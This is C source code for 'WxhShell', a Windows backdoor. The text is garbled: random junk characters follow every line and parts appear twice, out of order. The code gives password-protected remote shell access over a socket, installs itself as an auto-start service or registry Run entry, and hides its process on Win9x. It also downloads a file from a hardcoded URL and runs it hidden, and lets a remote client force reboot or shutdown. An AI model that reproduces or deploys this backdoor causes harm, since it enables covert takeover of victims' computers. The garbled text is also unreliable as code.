    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]q[D>6_  
    else { l'1pw  
    closesocket(wsh); ~/U 1xk%  
    ExitThread(0); [aLI '  
    } @bLy,Xr&  
    break; B@))8.h]  
    } t+ TdLDJR  
  // 获取shell I{&[[7H  
  case 's': { 59L\|OR  
    CmdShell(wsh); v~C Czg  
    closesocket(wsh); :4w ?#  
    ExitThread(0);  A@('pA85  
    break; 3&4(ZH=  
  } }6~hEc*/"  
  // 退出 M0"_^?  
  case 'x': { y<3-?}.aZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e{H=dIa+  
    CloseIt(wsh); Zl!kJ:0  
    break; RBd7YWo\|j  
    } 8W7J3{d  
  // 离开 I][*j  
  case 'q': { 1.hyCTnI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ee#q9Cx^J  
    closesocket(wsh); ?UR0:f:}oc  
    WSACleanup();  }v{LRRi  
    exit(1); $wa{~'  
    break; Vp\,CuQ  
        } S13nL^=i  
  } ^DLfY-F+j  
  } 6|=f$a  
+=h:Vb8  
  // 提示信息 pllGB6X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d1T!+I  
} 4at?(B+  
  } DCa^ u'f  
-i|}m++  
  return; Gz0]}]A  
} 3=[mP, pLh  
y.k~Y0  
// shell模块句柄 8Fh)eha9f  
int CmdShell(SOCKET sock) U/M>?G~  
{ q?:dCFw$x5  
STARTUPINFO si; TX/Xt7#R:  
ZeroMemory(&si,sizeof(si)); |e&\<LwsP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3}1u\(Mf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (9 d&  
PROCESS_INFORMATION ProcessInfo; BlO<PMmhT&  
char cmdline[]="cmd"; o-HT1Hc!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^\% (,KNo  
  return 0; 8,%^ M9zBP  
} 2,F .$X  
;(%QD 3>  
// 自身启动模式 @HCVmg:  
int StartFromService(void) ~~P5k:  
{ I{2hfKUe`  
typedef struct Om@;J%u/  
{ 5DZ#9m/  
  DWORD ExitStatus; gD?l-RT>  
  DWORD PebBaseAddress; uW{l(}0N  
  DWORD AffinityMask; .<FH>NW)  
  DWORD BasePriority; }.(B}/$u  
  ULONG UniqueProcessId; 00y!K m_D  
  ULONG InheritedFromUniqueProcessId; uzPV To|=  
}   PROCESS_BASIC_INFORMATION; q`-N7 ,$T  
33q}CzK  
PROCNTQSIP NtQueryInformationProcess; ^ @5QP$.  
V!=,0zy~Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6 "sSoj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B9 uoVcW  
]m<$}  
  HANDLE             hProcess; I236 RIq  
  PROCESS_BASIC_INFORMATION pbi;  (ZizuHC  
F>l] 9!P|m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?l )[7LR4  
  if(NULL == hInst ) return 0; Avc%2 +  
\\qZl)P_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 59A}}.@?m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )akoa,#%6c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LL!Dx%JZ  
8<.Oq4ku  
  if (!NtQueryInformationProcess) return 0; Il 'fL'3  
t*u:hex  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +6\Zj)  
  if(!hProcess) return 0; n\53wh@+  
W!(zT6#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sm|6 %3  
AkV#J, 3LC  
  CloseHandle(hProcess); eMsd37J  
u#.2w)!D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x;d6vBTUb  
if(hProcess==NULL) return 0; 6{b >p+U  
IJ"q~r$  
HMODULE hMod; D@.6>:;il  
char procName[255]; 0e4{{zQx  
unsigned long cbNeeded; }Y\%RA  
0h_|t-9j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T8g$uFo  
/x$nje,.  
  CloseHandle(hProcess); ;_(4Q*Yx  
Q2gq}c~  
if(strstr(procName,"services")) return 1; // 以服务启动 7:1Lol-V  
QWYJ *  
  return 0; // 注册表启动 m_]Y{3C  
} Xv^qVn4  
R m( "=(  
// 主模块 }7Q%6&IR  
int StartWxhshell(LPSTR lpCmdLine) ga+dt  
{ ux4POO3C|  
  SOCKET wsl; a~w$#fo"`f  
BOOL val=TRUE; W6Fo6a"<  
  int port=0; V,njO{Q  
  struct sockaddr_in door; 7. oM J  
fHFE){  
  if(wscfg.ws_autoins) Install(); 7 <R E_/]  
4r}51 N\  
port=atoi(lpCmdLine); ?@86P|19  
7@Qcc t4A  
if(port<=0) port=wscfg.ws_port; ZECfR>`x  
e^voW"?%  
  WSADATA data; hVY$;s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z03K=aZ  
9'B `]/L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |BXg/gW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zh~'9 JH  
  door.sin_family = AF_INET; 2^7`mES  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h376Be{P  
  door.sin_port = htons(port); guR/\z$D@C  
W=?<<dVYD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ? J0y|  
closesocket(wsl); Bzf^ivT3L  
return 1; 2?Vd5xkt  
} 'g\4O3&_  
L4W5EO$  
  if(listen(wsl,2) == INVALID_SOCKET) { R|(a@sL  
closesocket(wsl); 9 68Ez  
return 1; Pq$n5fZC !  
} 1% `Rs  
  Wxhshell(wsl); ? r4>"[  
  WSACleanup(); wCBplaojJ  
:ws<-Qy  
return 0; (bS&D/N.  
m&3xJuKih  
} ~} ~4  
/ ;$[E  
// 以NT服务方式启动 OyIw>Wfv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "AqB$^S9t  
{ 8oGRLYU N  
DWORD   status = 0; 2 %]X+`+O  
  DWORD   specificError = 0xfffffff; $??I/6  
R=?[Nz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d'> x(Yi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .%-8 t{dt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c+ie8Q!  
  serviceStatus.dwWin32ExitCode     = 0; ueNS='+m  
  serviceStatus.dwServiceSpecificExitCode = 0; 8Zdn,}Z  
  serviceStatus.dwCheckPoint       = 0; 53 h0UL  
  serviceStatus.dwWaitHint       = 0; #'}*dy/  
{!`6zBsP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L~3Pm%{@A  
  if (hServiceStatusHandle==0) return; lB4WKn=?Kl  
7yQ4*UB  
status = GetLastError(); U<XG{<2  
  if (status!=NO_ERROR) x{n=;JD  
{ ;Rf'P}"]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LzL So"n  
    serviceStatus.dwCheckPoint       = 0; E{(;@PzE  
    serviceStatus.dwWaitHint       = 0; xIn:ZKJ'  
    serviceStatus.dwWin32ExitCode     = status; :4|4=mkr  
    serviceStatus.dwServiceSpecificExitCode = specificError; !)$Zp\Sg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~TtiO#,t  
    return; +ZV5o&V>  
  } /9X7A;O  
Hn:Crl y#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b.938#3,  
  serviceStatus.dwCheckPoint       = 0; <UCl@5g&  
  serviceStatus.dwWaitHint       = 0; dh\P4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =(^3}x  
} l^ }c!  
b,@/!ia  
// 处理NT服务事件,比如:启动、停止 I-)4YQI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HaYo!.(Fv  
{ ;*J  
switch(fdwControl) xSu >  
{ ,r}6iFu  
case SERVICE_CONTROL_STOP: ,,r>,Xq 6  
  serviceStatus.dwWin32ExitCode = 0; ~LC-[&$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bw yx c  
  serviceStatus.dwCheckPoint   = 0; -\MG}5?!  
  serviceStatus.dwWaitHint     = 0; FI.\%x  
  { X>^fEQq"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "N#Y gSr  
  } 8Fub<UhJ  
  return; 4M T 7`sr  
case SERVICE_CONTROL_PAUSE: wC*X4 '  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gw` L"  
  break; VEH>]-0K  
case SERVICE_CONTROL_CONTINUE: gG uO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 05R@7[GWq  
  break; &,/ S`ke=  
case SERVICE_CONTROL_INTERROGATE: y`Z\N   
  break; Wn6Sn{8W{  
}; 1;iUWU1@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ry]l.@o;  
} {8etv:y  
HZOMlOZ  
// 标准应用程序主函数 ?]5qr?W%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OrW  
{ u? EN  
 :11 A  
// 获取操作系统版本 r_d! ikOT(  
OsIsNt=GetOsVer(); EX"yxZ~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^rz_f{c]-  
L},_.$I?  
  // 从命令行安装 "  1tH  
  if(strpbrk(lpCmdLine,"iI")) Install(); >mkFV@`  
jWgX_//!  
  // 下载执行文件 s#MPX3itK  
if(wscfg.ws_downexe) { FTldR;}(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YYS0`  
  WinExec(wscfg.ws_filenam,SW_HIDE); O0:q;<>z  
} |BYRe1l6l  
iRBfx  
if(!OsIsNt) { C,zohlpC  
// 如果时win9x,隐藏进程并且设置为注册表启动 )B*t :tN  
HideProc(); kf9X$d6   
StartWxhshell(lpCmdLine); m[2gdJK  
} Bp{Ri_&A  
else bK7J}8hH  
  if(StartFromService()) &3&HY:yF  
  // 以服务方式启动 g{LP7 D;6  
  StartServiceCtrlDispatcher(DispatchTable); )PZT4jTt  
else V~#tuv  
  // 普通方式启动 d=^z`nt !R  
  StartWxhshell(lpCmdLine); ~G w*r\\+  
3XKf!P  
return 0; k{0o9,  
} ipz5H*  
< Z$J<]I  
9u_Pj2%56.  
8EY:t zw  
=========================================== ^sZ,2,^  
q\)-BXw:  
T{'RV0%   
0\$2X- c  
/Kbl%u  
{+Jv+J9  
" $ Q0n  
31)&vf[[  
#include <stdio.h> P2Y^d#jO  
#include <string.h> d5d@k  
#include <windows.h> `h;[TtIX4  
#include <winsock2.h> >sbu<|]a 7  
#include <winsvc.h> S>{~nOYt-`  
#include <urlmon.h> rlD8D|ZG  
pot~<d`:K"  
#pragma comment (lib, "Ws2_32.lib") Mihg:  
#pragma comment (lib, "urlmon.lib") P;*(hY5&  
:EyD+!LJ  
#define MAX_USER   100 // 最大客户端连接数 E"0>yl)  
#define BUF_SOCK   200 // sock buffer >d6|^h'0  
#define KEY_BUFF   255 // 输入 buffer adw2x pj  
.(vwIb8\_  
#define REBOOT     0   // 重启 %)wjR/o  
#define SHUTDOWN   1   // 关机 Hv, LS ;W  
v0y(58Rz.  
#define DEF_PORT   5000 // 监听端口 0IpmRH/  
/tLVX} &  
#define REG_LEN     16   // 注册表键长度 ;rS{:  
#define SVC_LEN     80   // NT服务名长度 KlqY@Xt  
Js;h%  
// 从dll定义API hOeRd#AQK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z)"=:o7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~XIb\m9H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,0k;!YK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f!"w5qC^  
E_`=7 i  
// wxhshell配置信息 @XVTU  
struct WSCFG { ;G!q Y  
  int ws_port;         // 监听端口 cZ06Kx..  
  char ws_passstr[REG_LEN]; // 口令 W8<%[-r  
  int ws_autoins;       // 安装标记, 1=yes 0=no %$mA03[MQ  
  char ws_regname[REG_LEN]; // 注册表键名 ZB{EmB0W  
  char ws_svcname[REG_LEN]; // 服务名 liSmjsk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =Sv/IXX\di  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <uJ@:oWG7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |g~ZfnP_%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \DzGQ{`~m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yHGADH0B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pXUSLs  
(#'>(t(4  
}; @@%ataUSBT  
q*KAk{kR(v  
// default Wxhshell configuration 16 $B>  
struct WSCFG wscfg={DEF_PORT, =QsYXK7Mn4  
    "xuhuanlingzhe", o}!PQ#`M  
    1, cu6Opq9  
    "Wxhshell", DrQ`]]jj7  
    "Wxhshell", [gB+C84%%  
            "WxhShell Service", [!z,lY>  
    "Wrsky Windows CmdShell Service", u4j5w  
    "Please Input Your Password: ",  XilS!,  
  1, ix$bRdl  
  "http://www.wrsky.com/wxhshell.exe", |{8Pb3#U  
  "Wxhshell.exe" 626r^c=  
    }; >V~E]P%@  
:-'qC8C  
// 消息定义模块 ]{iQ21`a-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $C\BcKlmv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :%.D78&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HV.t6@\};  
char *msg_ws_ext="\n\rExit."; O84i;S+-p  
char *msg_ws_end="\n\rQuit."; m2o0y++TjW  
char *msg_ws_boot="\n\rReboot..."; ]tD]Wx%  
char *msg_ws_poff="\n\rShutdown..."; v1[29t<I!  
char *msg_ws_down="\n\rSave to "; &o*A {  
l\mPHA23  
char *msg_ws_err="\n\rErr!"; OY d !v`<  
char *msg_ws_ok="\n\rOK!";  `]X>V,  
kFB  
char ExeFile[MAX_PATH]; vbNBLCwug  
int nUser = 0; 2|L&DF:G  
HANDLE handles[MAX_USER]; PdCEUh\>y  
int OsIsNt; 9my^ Y9B  
! z**y}<T  
SERVICE_STATUS       serviceStatus; Z7#+pPt!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7"mc+QOp  
Zh,71Umz  
// 函数声明 g ?k=^C  
int Install(void); : 'c&,oLY  
int Uninstall(void); {FG j]*  
int DownloadFile(char *sURL, SOCKET wsh); Ngwb Q7)  
int Boot(int flag); WM{=CD  
void HideProc(void); p[-O( 3Y  
int GetOsVer(void); Jv i#)  
int Wxhshell(SOCKET wsl); rZF*q2?  
void TalkWithClient(void *cs); :t[_:3@  
int CmdShell(SOCKET sock); KP"+e:a%  
int StartFromService(void); Rv=YFo[B  
int StartWxhshell(LPSTR lpCmdLine); Vj-h;rB0z  
Th%zn2R B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >V937  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yuVs YV@"  
GmG 5[?)  
// 数据结构和表定义 AdmC&!nH  
SERVICE_TABLE_ENTRY DispatchTable[] = y(&Ac[foS}  
{ 6mE\OS-I  
{wscfg.ws_svcname, NTServiceMain}, >Q/Dk7#  
{NULL, NULL} VQs5"K"  
}; F:VIzyMq<  
GeqPRah  
// 自我安装 :Al!1BJQ  
int Install(void) ;j7#7MN2_E  
{ dI2 V>vk  
  char svExeFile[MAX_PATH]; y9;Yiv r)  
  HKEY key; =vPj%oLp'a  
  strcpy(svExeFile,ExeFile); lk!@?  
=-T]3!   
// 如果是win9x系统,修改注册表设为自启动 fox6)Uot  
if(!OsIsNt) { GVz6-T~\>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FlQGg VN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @c#(.=  
  RegCloseKey(key); 7P T{lT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *I+Q~4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b'g )  
  RegCloseKey(key); ,I9bNO,%JK  
  return 0; BWNi [^]  
    } lFk R=!?=  
  } so; ]&  
} G5!^*jf  
else { \^LFkp  
<$YlH@;)`a  
// 如果是NT以上系统,安装为系统服务 Lr+$_ t}r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u ?"Vm  
if (schSCManager!=0) >ef6{URy<  
{ 6LZCgdS{  
  SC_HANDLE schService = CreateService H+#FSdy#  
  ( *v`eUQ:  
  schSCManager, Kq!3wb;  
  wscfg.ws_svcname, }b}m3i1  
  wscfg.ws_svcdisp, LP-o8c  
  SERVICE_ALL_ACCESS, |:o4w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uO**E-`  
  SERVICE_AUTO_START, E$e5^G9  
  SERVICE_ERROR_NORMAL, [ )F<V!  
  svExeFile, [;N'=]`  
  NULL, SJLis"8  
  NULL, > !JS:5|  
  NULL, TvM~y\s  
  NULL, 2eogY#  
  NULL [Pp'Ye~K@c  
  ); maZ)cW?  
  if (schService!=0) K}y f>'O  
  { xo)P?-  
  CloseServiceHandle(schService); [UR-I0 s!/  
  CloseServiceHandle(schSCManager); @iiT<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /1 dT+>  
  strcat(svExeFile,wscfg.ws_svcname); ^ 9sjj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W)/#0*7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5G#n"}T  
  RegCloseKey(key); ("@!>|H  
  return 0; F@t3!bj9  
    } <b.D&  
  } #Z#-Ht  
  CloseServiceHandle(schSCManager); X2_=agEP  
} A,]h),b  
} l{9Y  
Wqnc{oq |$  
return 1; x;S @bY  
} PnTu  
+q4O D$}  
// 自我卸载 [^)g%|W  
int Uninstall(void) OI*H,Z "  
{  G*m 0\  
  HKEY key; y-k.U%  
m 5.Zu.  
if(!OsIsNt) { v19-./H^ j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4*L_)z&4;  
  RegDeleteValue(key,wscfg.ws_regname); @~e5<:|5#  
  RegCloseKey(key); .`lCWeHN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !i50QA|(G  
  RegDeleteValue(key,wscfg.ws_regname); I]575\bA  
  RegCloseKey(key); ' QG?nu  
  return 0; R-:2HRaA  
  } ?[AD=rUC  
} K'bP@y_cq  
} Z;i:](  
else { Dv"9qk  
sK{e*[I>W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZNoDFf*h  
if (schSCManager!=0) 8}[).d160  
{ LLo;\WGZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dG{A~Z z  
  if (schService!=0) Y*^[P,+J*}  
  { 0@(&eH=  
  if(DeleteService(schService)!=0) { EPm/r  
  CloseServiceHandle(schService); ;jXgAAz7  
  CloseServiceHandle(schSCManager); *hx  
  return 0; vd ZW%-A&\  
  } d$RIS+V  
  CloseServiceHandle(schService); eDMO]5}Ht  
  } ]lbuy7xj63  
  CloseServiceHandle(schSCManager); M{@(G5  
} =(Mch~  
} -~0^P,yQ  
f 2.HF@  
return 1;  \zkg  
} BLttb  
R5D1w+  
// 从指定url下载文件 XUYtEf  
int DownloadFile(char *sURL, SOCKET wsh) pkzaNY/q  
{ DrR@n~  
  HRESULT hr; WY/}1X9.%  
char seps[]= "/"; $X6h|?3U,  
char *token; }pYqWTG  
char *file; >j/w@Fj  
char myURL[MAX_PATH]; f?Lw)hMrA  
char myFILE[MAX_PATH]; ;'|Ey  
]`K2 N  
strcpy(myURL,sURL); `Oa WGZ[  
  token=strtok(myURL,seps); ~a:  
  while(token!=NULL) m@c)Xci  
  { 6 N4~~O  
    file=token; \85i+q:LuA  
  token=strtok(NULL,seps); gJXaPJA{  
  } +rd+0 `}C  
AKC`TA*E  
GetCurrentDirectory(MAX_PATH,myFILE); \~W'v3:W  
strcat(myFILE, "\\"); 8=l%5r^cq  
strcat(myFILE, file); cr3^6HB  
  send(wsh,myFILE,strlen(myFILE),0); ,prf;|e?  
send(wsh,"...",3,0); XTy x r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t# i #(H  
  if(hr==S_OK) b;n[mk  
return 0; J zl6eo[;  
else ,F|f. 7;  
return 1; p2eGm-Erq  
}tz7b#  
} [WmM6UEVS  
iMlWM-wz>O  
// 系统电源模块 h0$iOE  
int Boot(int flag) icgfB-1|i  
{ l **X^+=$  
  HANDLE hToken; t_^4`dW`  
  TOKEN_PRIVILEGES tkp; U6K|fY N`  
\D4:Nt#  
  if(OsIsNt) { CTb%(<r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]G\}k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oU8q o-J1H  
    tkp.PrivilegeCount = 1; s AkdMo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r@V!,k#S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rp$'L7lrX  
if(flag==REBOOT) { V`- 9m$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !g[Zfo2r"  
  return 0; V88p;K$+  
} vaLSH xi  
else { *w&e\i|7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x:Y1P:  
  return 0; 4dlGxat  
} Hs8>anVo[  
  } zPO9!?7|  
  else { V!Uc(  
if(flag==REBOOT) { 6m93puY`7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K1KreYlF  
  return 0; N7"W{"3D  
} L0,'mS  
else { 3`g^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b}`T Ln  
  return 0; [JiH\+XLPs  
} {c'lhUB  
} ]Ze1s02(  
4x34u}l  
return 1; %J(:ADu]  
} I9Xuok!0>=  
Y<OFsWYY  
// win9x进程隐藏模块 nlP;nlW  
void HideProc(void) ~ljXzD93Z  
{ 0J9x9j`&j  
P:c w|Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?,mmYW6TjB  
  if ( hKernel != NULL ) kP:!/g  
  { iS^QTuk3%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uRvP hkqm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,+k\p5P  
    FreeLibrary(hKernel); [y(MCf19  
  } @gblW*Zhk  
4(+PD&_J  
return; %b$>qW\*&  
} )A6<c%d =x  
q V =!ORuj  
// 获取操作系统版本 t.<i:#rj>l  
int GetOsVer(void) |Cv!,]9:r  
{ ( .:e,l{U%  
  OSVERSIONINFO winfo; ah"o~Cbj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /uc>@!F  
  GetVersionEx(&winfo); >MZ/|`[M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r!v\"6:OM  
  return 1; D.:Zx  
  else 4hB]vY\T  
  return 0; #qki  
} y29m/i:  
IGl9 g_18  
// 客户端句柄模块 M`_0C38  
int Wxhshell(SOCKET wsl) @ArSC  
{ Jy)/%p~  
  SOCKET wsh; O.? JmE  
  struct sockaddr_in client; rI\FI0zIp_  
  DWORD myID; {}9a6.V;}  
3";q[&F9y  
  while(nUser<MAX_USER) MgZ/(X E  
{ 4#D,?eA7  
  int nSize=sizeof(client); Mx}gN:Wt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5P2K5,o|n~  
  if(wsh==INVALID_SOCKET) return 1; &>O+}>lr9  
\bXa&Lq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =;L|gtH"  
if(handles[nUser]==0) UQsN'r\tS  
  closesocket(wsh); #!=tDc &  
else VbYdZCC  
  nUser++; )%TmAaj9d  
  } F,kZU$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mH(:?_KrS-  
zLQx%Yg!  
  return 0; }MySaL>  
} >*bvw~y,  
".%k6W<n  
// 关闭 socket g)-te+?6  
void CloseIt(SOCKET wsh) 5P bW[  
{ PCA4k.,T  
closesocket(wsh); mFeP9MfJ  
nUser--; 3]hWfj1m2  
ExitThread(0); i8p6Xht  
}  " bG2:  
6BlXLQ,8q  
// 客户端请求句柄 JF]JOI6.e  
void TalkWithClient(void *cs) sO Y:e/_F  
{ +@UV?"d  
_c07}aQ ],  
  SOCKET wsh=(SOCKET)cs; (FV >m  
  char pwd[SVC_LEN]; (7Qo  
  char cmd[KEY_BUFF]; hH.G#-JO  
char chr[1]; ~*7]r`6\@  
int i,j; GgU/ !@  
g(g& TO  
  while (nUser < MAX_USER) { [g,}gyeS(  
\V:^h [ad  
if(wscfg.ws_passstr) { z?zL97H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +ZYn? #IQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !D6]JPX  
  //ZeroMemory(pwd,KEY_BUFF); qs6aB0ln  
      i=0; 2wn2.\v M  
  while(i<SVC_LEN) { `cO:<^%  
4i bc  
  // 设置超时 xw%0>K[  
  fd_set FdRead; {g6%(X\r.r  
  struct timeval TimeOut; y`Fw-!'o  
  FD_ZERO(&FdRead); !>tL6+yj  
  FD_SET(wsh,&FdRead); d9ihhqq3}  
  TimeOut.tv_sec=8; Bvj0^fSm  
  TimeOut.tv_usec=0; #ob/p#k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G}*hM$F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CTK;dM'uQ  
*Ex|9FCt$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1YA% -~  
  pwd=chr[0]; @HW*09TG  
  if(chr[0]==0xd || chr[0]==0xa) { '-6~tWC~7  
  pwd=0; U*:!W=XN  
  break; g0H[*"hj  
  } P>L +t`'  
  i++; 58K5ZZG  
    } RSds8\tk  
)jj0^f1!j  
  // 如果是非法用户,关闭 socket J,G lIv.A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QJNFA}*>  
} mOSv9w#,  
X]=t>   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $e\M_hp*J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `/g UV  
)"LJ hLg  
while(1) { m|# y >4  
NI5``BwpO  
  ZeroMemory(cmd,KEY_BUFF); jpOp.  
PFR:>^wK2  
      // 自动支持客户端 telnet标准   0V]s:S  
  j=0; l%ZhA=TKQ  
  while(j<KEY_BUFF) { J1kM\8%b\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IID5c" oR  
  cmd[j]=chr[0]; )Z$!PqRw@u  
  if(chr[0]==0xa || chr[0]==0xd) { 67TwPvh  
  cmd[j]=0; >/\'zi]L  
  break; Si,6o!0k  
  } 'yth'[  
  j++; B *vM0  
    } H]!"Zq k  
>p/`;Kq@  
  // 下载文件 A >$I -T+  
  if(strstr(cmd,"http://")) { +"(jjxJm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !BI;C(,RL  
  if(DownloadFile(cmd,wsh)) #g=XUZ/"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V]N?6\Op  
  else |o @%dH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *VeRVaBl  
  } ddo#P%sH'  
  else { BHw, 4#F1;  
*H122njH+T  
    switch(cmd[0]) { 5r_|yu  
  D0C y^_  
  // 帮助  IB<d  
  case '?': { t Pf40`@  
